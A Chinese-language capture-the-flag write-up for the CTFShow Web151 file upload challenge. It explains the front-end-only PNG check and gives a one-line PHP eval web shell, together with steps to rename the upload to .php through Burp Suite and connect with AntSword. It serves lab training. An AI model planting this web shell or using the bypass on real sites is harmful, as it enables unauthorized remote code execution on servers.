CTFShow-Web151:文件上传漏洞
🛠️ Web151 题解
本题考察 文件上传漏洞,仅在前端进行了文件类型验证,允许上传 .png 图片文件。我们可以通过抓包修改文件后缀的方式绕过限制并获取 WebShell。
🔍 源码分析
在 upload.php 代码中,我们发现了以下 HTML 代码片段:
<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'png'}">
• 该代码仅在 前端 限制上传文件的类型(accept: 'images',exts: 'png')。
• 后端未进行严格校验,这意味着我们可以通过抓包修改文件后缀,绕过前端限制。
📝 WriteUp(解题步骤)
1️⃣ 制作带有 WebShell 的 PNG 文件
我们需要构造一个 包含一句话木马的 PNG 文件,其内容如下:
<?php @eval($_POST['pass']); ?>
⚠️ 注意:该文件需要保留 PNG 格式的头部数据,以免被检测到格式异常。
2️⃣ 上传文件并抓包
上传 a.png 文件,并使用 Burp Suite 进行抓包:
![image-20250129210243090](https://raw.githubusercontent.com/Zebra233/pic_bed/master/202501292102116.png)
3️⃣ 修改文件后缀并上传 WebShell
将 a.png 修改为 a.php,然后重新发送请求,使其上传到服务器。
4️⃣ 连接 WebShell(蚁剑)
使用 AntSword(蚁剑) 连接 WebShell,填入一句话木马<?php @eval($_POST['pass']); ?>
中的pass作为连接密码:
5️⃣ 获取 Flag
连接成功后,在 www/html/flag.php 目录下找到 Flag 🎉
✅ 总结
📌 漏洞点分析:
• 仅在 前端 限制上传 .png 文件,后端未校验文件类型。
• 通过抓包修改文件后缀 .png → .php,可成功上传 WebShell。
• 服务器允许执行上传目录下的 .php 文件,导致 远程代码执行(RCE)。